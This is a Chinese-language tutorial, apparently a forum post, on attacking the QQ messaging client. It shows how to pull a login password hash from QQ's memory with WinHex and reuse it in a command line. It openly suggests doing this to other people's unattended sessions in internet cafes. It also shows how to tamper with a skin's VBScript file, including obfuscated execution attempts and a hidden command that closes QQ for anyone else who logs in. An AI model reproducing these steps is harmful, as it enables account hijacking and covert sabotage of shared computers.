1.如何实现多个QQ的自动登陆 2.如何不要别人的QQ登陆
注:网上可能有教程,我只是整理下.文章有点损,只谈技术,不论人品
1.首先打开qq,登录.一键切换到TM.
我没有装TM,找了一下,发现QQ里的更新好友也可以.
好友与资料-->更新好友
打开WinHex,打开内存工具.qq.搜索"PWDHASH". 这里应该看到qq登录的参数了吧.
------------图1(1.bmp)---------------
把它们都复制下来.加到你的qq的快捷方式中就可以实现自动登录了.
QQ.exe /START QQUIN:QQ号 PWDHASH:加密的密码 /STAT:40
QQUIN:QQ号
PWDHASH:加密的密码
/STAT:40 (40 是隐身登陆 41 是正常登陆直接上线的那种。。。)
"D:\Program Files\Tencent\qq\QQ.exe" /START QQUIN:12345678 PWDHASH:jplJ52wvuLMpK0dFxqYPua== /STAT:40 /EMB_HWND:0
------------图2(2.bmp)---------------
这样可以使多个QQ登陆了.
当然以后在网吧看到谁没关QQ,他就有点郁闷了.我们虽然得不到密码,但是得到了HASHPWD,还是可以随时登陆.
2.看了下网上的关于禁止使用QQ,好象都是网管封掉UDP的端口.搞的自己也不能用了.
而我们想要的是,自己能上,而别人不得.
我的方法是使用QQ皮肤.呵呵~
有点另类,想别人也不会想到我们动了手脚吧~
找到QQ路径下的NewSkins\QQ2005文件夹,看到了没,有个VBScript.vbs文件.
嘿嘿,是不是有点懂了.
小试身手.写个msgbox "LoveXia",0,"hello",换下皮肤,弹出对话框了吧?
------------图3(3.bmp)---------------
来搞大点.
Set shell = CreateObject("WScript.Shell"
shell.run "notepad.exe"
或者直接写一行CreateObject("WScript.Shell".exec "notepad.exe"
实验一下.我KAO!高兴太早了!什么反映都没.
汽车人变形!来Execute
-------------------
a=inputbox("EXEC你!"
msgbox(a)
Execute(a)
-------------------
------------图4(4.bmp)---------
对话框里CreateObject("WScript.Shell".exec "notepad.exe"
msgbox出来了.但是Execute就是没反映,郁闷啊郁闷,网上谁说的漏洞来着.
------------图5(5.bmp)---------
晕,再变:
----------------------------
str1="Crea" & chr(116)& "eObject(" & chr(34) & "WScrip" & chr(116)& ".Shell"&chr(34)&".exec "&chr(34)&"notepad.exe"&chr(34)
msgbox str1
Execute str1
----------------------------
还是错的!!!!!!不出来.放弃5555555~~~~~.看看别的.
发现一个函数,Window.ExeCommand,QQ自带的.
--------------------
'上面的三个按钮
Sub MinButton_onClick()
Window.ExeCommand 1,2
End Sub
--------------------
单击响应最小化.呵呵.有点意思哦.
-----------------
Sub CloseButton_onClick()
Window.ExeCommand 1,3
End Sub
-----------------
今天的主角出场了.关闭QQ.
如果,如果我们把它放在代码最前面,嘿嘿.知道了吧.
具体操作如下:
准备2个皮肤,先登陆自己的QQ,然后换皮肤.
修改默认QQ皮肤下的VBScript.vbs
在DIM也就是变量声明下,加上Window.ExeCommand 1,3,保存.
登陆其它QQ看看,呵呵,刚登陆就被关闭了.
大家可以狠点,2个皮肤一样.只是VBScript.vbs不一样,这样别人怎么也看不出手脚了.
哎呀,说了.一大堆话,其实就为了这几个字.
被人扔鸡蛋了,-_-|
大家可以试试,别的参数
Window.ExeCommand 61,0 '天气预报
Window.ExeCommand 40,1 '宠物
